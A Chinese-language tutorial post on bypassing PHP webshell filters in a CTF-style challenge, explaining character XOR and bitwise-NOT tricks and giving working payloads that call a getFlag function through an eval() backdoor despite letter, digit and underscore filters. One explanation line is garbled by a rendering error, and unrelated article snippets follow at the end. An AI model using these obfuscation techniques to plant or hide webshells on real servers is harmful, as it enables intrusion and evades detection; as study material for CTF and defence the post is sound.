当前位置: 首页 > news >正文

webshell绕过

文章目录

  • webshell
    • 前置知识
    • 进阶绕过

webshell

前置知识

<?phpecho "A"^"`";
?>

运行结果
在这里插入图片描述

可以看到出来的结果是字符“!”。

为什么会得到这个结果?是因为代码的“A”字符与“`”字符产生了异或。

php中,两个变量再进行异或的时候,它会将字符串转换成ASCII码,然后将ASCII码转换成二进制再来进行异或操作,异或完,又将二进制的结果转换成ASCII码,再将ASCLL码转换成字符串。

那么什么是异或?

异或操作就是两个二进制数在一起对比时,相同的为0,不同的为1

比如

A的ASCII码是65,对应的二进制是0100 0001

`的ASCII码是96,对应的二进制是0110 0000

那么,异或后,就是0010 0001,对应的ASCII码是33,对应的字符串就是!

接下来,看另外一个代码

<?phpfunction B(){echo "Hello Angel_Kitty";}$_++;$__= "?" ^ "}";$__();
?>

这个代码的运行结果为:Hello Angel_Kitty
在这里插入图片描述

分析一下代码

$_++;就是将"_"这个变量进行自增的操作,在PHP中,通常未定义的变量默认值为null,而nullfalse0,所以,我们可以通过这样的方法来得到一个数字。

$__="?" ^ "}";对字符"?""}"进行了异或运算,将得到的结果B赋给变量名为"__"(两个下划线)的变量

$ __ ();通过上面的赋值操作,变量$__的值就变成了B,所以这一行代码可以被看作B(),相当于调用函数B。所以运行后的结果是Hello Angel_Kitty。

我们可以通过这样转换的方法来绕过那些会检测我们的代码。

像是_POST",“system”,"call_user_func_arry"这些我们需要的字符串能够进行转换,或是其他的一些我们需要的东西。

下面是一个简单的PHP后门:

<?php
include 'flag.php';
if(isset($_GET['code'])){$code = $_GET['code'];if(strlen($code)>40){die("Long.");}if(preg_match("/[A-Za-z0-9]+/",$code)){die("NO.");}@eval($code);
}else{highlight_file(__FILE__);
}
//$hint =  "php function getFlag() to get flag";
?>
// flag.php
<?phpfunction getFlag(){echo "hello world";}
?>

payload

?code=$_="`{{{"^"?<>/";${$_}[_]();&_=getFlag

运行后的结果
在这里插入图片描述

<?phpecho "`{{{"^"?<>/";//_GET
?>

首先,这个的运行结果是
在这里插入图片描述

那么前面的KaTeX parse error: Expected '}', got 'EOF' at end of input: … 中,然后前面又加了个字符,就变成了 $ _GET,又因为& _=getFlag,那么$ _GET又赋值了一个getFlag,所以就变成了调用getFlag函数。

第二种解法:

?code=$_=~%98%9A%8B%B9%93%9E%98;$_();

也是一样的效果
在这里插入图片描述

进阶绕过

<?php include'flag.php'; if(isset($_GET['code'])){ $code=$_GET['code']; if(strlen($code)>50){ die("Too Long."); } if(preg_match("/[A-Za-z0-9_]+/",$code)){ die("Not Allowed."); } @eval($code); 
}else{ highlight_file(__FILE__); 
} 
//$hint = "php function getFlag() to get flag"; 
?>

因为这个代码把_过滤了,所以我们需要用异或的方式

echo ("@" ^ "'").("@" ^ "%").("^" ^ "*").("|" ^ ":").("@" ^ ",").("@" ^ "!").("@" ^ "'");echo "@@^|@@@" ^ "'%*:,!'";

在这里插入图片描述

可以看到,我们这两行代码在进行异或操作过后,都是getFlag

所以最终的payload是

?code=$啊="@@^|@@@"^"'%*:,!'";$啊();

因为前面的代码中过滤了字母、数字和下划线,所以这边采用一下汉字来作为变量名。

然后,运行结果也是同样的hello world
在这里插入图片描述

相关文章:

webshell绕过

文章目录 webshell前置知识进阶绕过 webshell 前置知识 <?phpecho "A"^""; ?>运行结果 可以看到出来的结果是字符“&#xff01;”。 为什么会得到这个结果&#xff1f;是因为代码的“A”字符与“”字符产生了异或。 php中&#xff0c;两个变…...

Spring Boot 统一功能处理

目录 1.用户登录权限效验 1.1 Spring AOP 用户统一登录验证的问题 1.2 Spring 拦截器 1.2.1 自定义拦截器 1.2.2 将自定义拦截器加入到系统配置 1.3 拦截器实现原理 1.3.1 实现原理源码分析 2. 统一异常处理 2.1 创建一个异常处理类 2.2 创建异常检测的类和处理业务方法 3. 统一…...

图像处理常见的两种拉流方式

传统算法或者深度学习在进行图像处理之前&#xff0c;总是会首先进行图像的采集&#xff0c;也就是所谓的拉流。解决拉流的方式有两种&#xff0c;一个是直接使用opencv进行取流&#xff0c;另一个是使用ffmpeg进行取流&#xff0c;如下分别介绍这两种方式进行拉流处理。 1、o…...

数据可视化数据调用浅析

数据可视化是现代数据分析和决策支持中不可或缺的一环。它将数据转化为图形、图表和可视化工具&#xff0c;以便更直观地理解和解释数据。在数据可视化的过程中&#xff0c;数据的调用和准备是关键的一步。本文将探讨数据可视化中的数据调用过程&#xff0c;并介绍一些常用的数…...

恒运资本:CPO概念发力走高,兆龙互联涨超10%,华是科技再创新高

CPO概念15日盘中发力走高&#xff0c;截至发稿&#xff0c;华是科技涨超15%再创新高&#xff0c;兆龙互联涨逾11%&#xff0c;中贝通讯涨停&#xff0c;永鼎股份、太辰光涨超5%&#xff0c;天孚通讯涨逾4%。 消息面上&#xff0c;光通讯闻名咨询机构LightCounting近日发布的202…...

【蓝桥杯】[递归]母牛的故事

原题链接&#xff1a;https://www.dotcpp.com/oj/problem1004.html 目录 1. 题目描述 2. 思路分析 3. 代码实现 1. 题目描述 2. 思路分析 我们列一个年份和母牛数量的表格&#xff1a; 通过观察&#xff0c;找规律&#xff0c;我们发现&#xff1a; 当年份小于等于4时&…...

使用RDP可视化远程桌面连接Linux系统

使用RDP可视化远程桌面连接Linux系统 远程桌面连接Linux安装安装包准备服务器安装xrdp远程连接 远程桌面连接Linux 通常使用SSH来连接服务器&#xff0c;进行命令行操作&#xff0c;但是这次需要远程调试生产环境的内网服务器&#xff0c;进行浏览器访问内网网站&#xff0c;至…...

数据可视化diff工具jsondiffpatch使用学习

1.jsondiffpatch 简介 jsondiffpatch 是一个用于比较和生成 JSON 数据差异的 JavaScript 库。它可以将两个 JSON 对象进行比较&#xff0c;并生成一个描述它们之间差异的 JSON 对象。这个差异对象可以用于多种用途&#xff0c;例如&#xff1a; 生成可视化的差异报告应用差异…...

pdf 转 word

pdf 转 word 一、思路 直接调用LibreOffice 命令进行文档转换的命令行工具 使用的前系统中必须已经安装了 libreofficelibreoffice已翻译的用户界面语言包: 中文 (简体)libreoffice离线帮助文档: 中文 (简体)上传字体 重点&#xff1a;重点&#xff1a;重点&#xff1a; 亲…...

【数据结构OJ题】设计循环队列

原题链接&#xff1a;https://leetcode.cn/problems/design-circular-queue/ 1. 题目描述 2. 循环队列的概念和结构 为充分利用向量空间&#xff0c;克服"假溢出"现象的方法是&#xff1a;将向量空间想象为一个首尾相接的圆环&#xff0c;并称这种向量为循环向量。…...

Java 中创建对象有哪些方式?

目录 面试回答 使用 new 关键字 使用反射机制 使用 Class 类的 newInstance() 方法 使用 Constructor 类的 newInstance 方法 使用 clone 方法 使用反序列化 使用方法句柄 使用 Unsafe 分配内存 面试回答 使用 new 关键字 这是我们最常用的、也是最简单的创建对象的方…...

Kafka 消息发送和消费流程

发送消息 流程如下&#xff1a; Producer 端直接将消息发送到 Broker 中的 Leader 分区中Broker 对应的 Leader 分区收到消息会先写入 Page Cache&#xff0c;定时刷盘进行持久化&#xff08;顺序写入磁盘&#xff09;Follower 分区拉取 Leader 分区的消息&#xff0c;并保持…...

UVa10048 Audiophobia(floyd)

题意 给出一个图&#xff0c;图中的边表示从点u到点v路径上的噪音。给出q个查询&#xff0c;问从u到v所经路径上的最小噪音 思路 在使用floyd计算点对之间的路径时&#xff0c; D u , v k m i n { D u , v k − 1 , m a x { D u , k k − 1 , D k , v k − 1 } } D_{u, v}^…...

​Redis概述

目录 Redis - 概述 使用场景 如何安装 Window 下安装 Linux 下安装 docker直接进行安装 下载Redis镜像 Redis启动检查常用命令 Redis - 概述 redis是一款高性能的开源NOSQL系列的非关系型数据库,Redis是用C语言开发的一个开源的高键值对(key value)数据库,官方提供测试…...

MsrayPlus多功能搜索引擎采集软件

MsrayPlus多功能搜索引擎采集软件 摘要&#xff1a; 本文介绍了一款多功能搜索引擎软件-MsrayPlus&#xff0c;该软件能够根据关键词从搜索引擎中检索相关数据&#xff0c;并提供搜索引擎任务、爬虫引擎任务和联系信息采集三大功能。我们将分析该软件在不同领域的应用&#xf…...

机器学习之概率论

最近&#xff0c;在了解机器学习相关的数学知识&#xff0c;包括线性代数和概率论的知识&#xff0c;今天&#xff0c;回顾了概率论的知识&#xff0c;贴上几张其他博客的关于概率论的图片&#xff0c;记录学习过程。...

【深度学习 | 数据可视化】 视觉展示分类边界: Perceptron模型可视化iris数据集的决策边界

&#x1f935;‍♂️ 个人主页: AI_magician &#x1f4e1;主页地址&#xff1a; 作者简介&#xff1a;CSDN内容合伙人&#xff0c;全栈领域优质创作者。 &#x1f468;‍&#x1f4bb;景愿&#xff1a;旨在于能和更多的热爱计算机的伙伴一起成长&#xff01;&#xff01;&…...

【计算机视觉】相机基本知识(还在更新)

1.面阵工业相机与线阵工业相机 1.1 基本概念区别 面阵相机则主要采用的连续的、面状扫描光线来实现产品的检测&#xff1b; 线阵相机即利用单束扫描光来进行物体扫描的工作的。 1.2 优缺点 &#xff08;1&#xff09;面阵CCD工业相机&#xff1a; 优点&#xff1a;应用面…...

C++ (友元)(类嵌套时,成员函数以及类声明定义的顺序)小demo

#include<iostream> using namespace std; class Building; //1.因为Goodgay类需要声明Building类变量&#xff0c; //所以Building类必须Goodgay类之前声明&#xff08;前向声明&#xff09;&#xff1b; class GoodGay { public:GoodGay();void visit(); private:Build…...

前端实习第五周周记

前言 每一天做了什么还是要记录一下&#xff0c;不然过两天后就会发现&#xff0c;慢慢遗忘自己的收获与做过的东西。 这周做的是医学检验系统的样本库部分。由于是公司的代码所以不能交代具体&#xff0c;那么久聊一下每天具体做了些什么以及我的一些收获。 周一 周一上午…...

vLLM-v0.17.1详细步骤:vLLM + Triton Ensemble实现多模型协同推理

vLLM-v0.17.1详细步骤&#xff1a;vLLM Triton Ensemble实现多模型协同推理 1. vLLM框架简介 vLLM是一个专为大型语言模型(LLM)设计的高性能推理和服务库&#xff0c;以其出色的吞吐量和易用性著称。这个项目最初由加州大学伯克利分校的天空计算实验室开发&#xff0c;现在已…...

Remotery WebSocket通信机制:浏览器端性能数据可视化

Remotery WebSocket通信机制&#xff1a;浏览器端性能数据可视化 【免费下载链接】Remotery Single C file, Realtime CPU/GPU Profiler with Remote Web Viewer 项目地址: https://gitcode.com/gh_mirrors/re/Remotery Remotery作为一款轻量级实时CPU/GPU性能分析工具&…...

给渗透新手的保姆级指南:用Kali和MSF搞定VulnHub经典靶机DC-1

Kali Linux渗透测试实战&#xff1a;从零攻破VulnHub DC-1靶机 环境准备与靶机配置 在开始渗透测试之前&#xff0c;确保你已经准备好以下工具和环境。Kali Linux作为渗透测试的标准发行版&#xff0c;集成了我们所需的所有工具。DC-1是Vulnhub上一个专为渗透测试练习设计的靶机…...

ms-swift微调框架入门:快速掌握LoRA微调与模型合并技巧

ms-swift微调框架入门&#xff1a;快速掌握LoRA微调与模型合并技巧 1. 引言 在当今大模型技术快速发展的背景下&#xff0c;如何高效地对大型语言模型进行微调成为了许多开发者和研究者的关注焦点。ms-swift作为一款强大的微调框架&#xff0c;提供了丰富的功能和技术支持&am…...

高通平台USB充电背后的秘密:从SBL1阶段到Kernel的电池ID识别全解析

高通平台USB充电与电池ID识别的深度技术解析 在Android设备开发中&#xff0c;电源管理系统的稳定性直接影响用户体验。作为底层驱动工程师&#xff0c;理解高通平台从硬件到软件的完整充电流程至关重要。本文将深入剖析从XBL阶段到Kernel层的电池识别机制&#xff0c;揭示BATT…...

用MATLAB从零实现六足机器人步态:交替三角与波动步态代码详解

用MATLAB从零实现六足机器人步态&#xff1a;交替三角与波动步态代码详解 六足机器人因其卓越的稳定性和地形适应能力&#xff0c;在野外勘探、灾难救援等领域展现出巨大潜力。而步态规划作为机器人运动控制的核心&#xff0c;直接决定了机器人的移动效率和稳定性。本文将带您从…...

用DolphinScheduler实现数仓自动化:从零搭建ETL工作流实战

用DolphinScheduler构建电商数仓ETL流水线&#xff1a;实战设计与优化指南 电商平台每天产生的TB级订单数据&#xff0c;如何转化为精准的用户画像和实时销售报表&#xff1f;本文将带你从零搭建一个基于DolphinScheduler的自动化数据处理流水线&#xff0c;解决实际业务场景中…...

效率飙升:借助快马平台生成全自动OpenClaw本地部署一体化工具

最近在折腾OpenClaw的本地部署时&#xff0c;发现传统方式实在太费时间了。每次都要手动查文档、拼命令、调环境&#xff0c;经常卡在某个依赖项版本冲突上。后来尝试用InsCode(快马)平台生成了一体化部署工具&#xff0c;效率直接翻倍。这里分享下具体实现思路和优化点&#x…...

为什么AI Coding、Skills、Agent智能体都偏爱Markdown?

为什么AI Coding、Skills、Agent智能体都偏爱Markdown&#xff1f; 更多问题讨论和资料获取&#xff0c;请关注文章最后的微信公众号 从ChatGPT的输出到GitHub Copilot的提示&#xff0c;从Claude的记忆存储到智能体的工作流配置——Markdown无处不在。这不是巧合&#xff0c;…...

答辩 PPT 不用熬!PaperXie AI PPT 让毕业论文答辩赢在 “门面”

paperxie-免费查重复率aigc检测/开题报告/毕业论文/智能排版/文献综述/AIPPThttps://www.paperxie.cn/ppt/createhttps://www.paperxie.cn/ppt/create 又到毕业冲刺季&#xff0c;当论文终于敲下最后一个句号&#xff0c;毕业论文答辩 PPT却成了新的 “熬夜重灾区”&#xff1a…...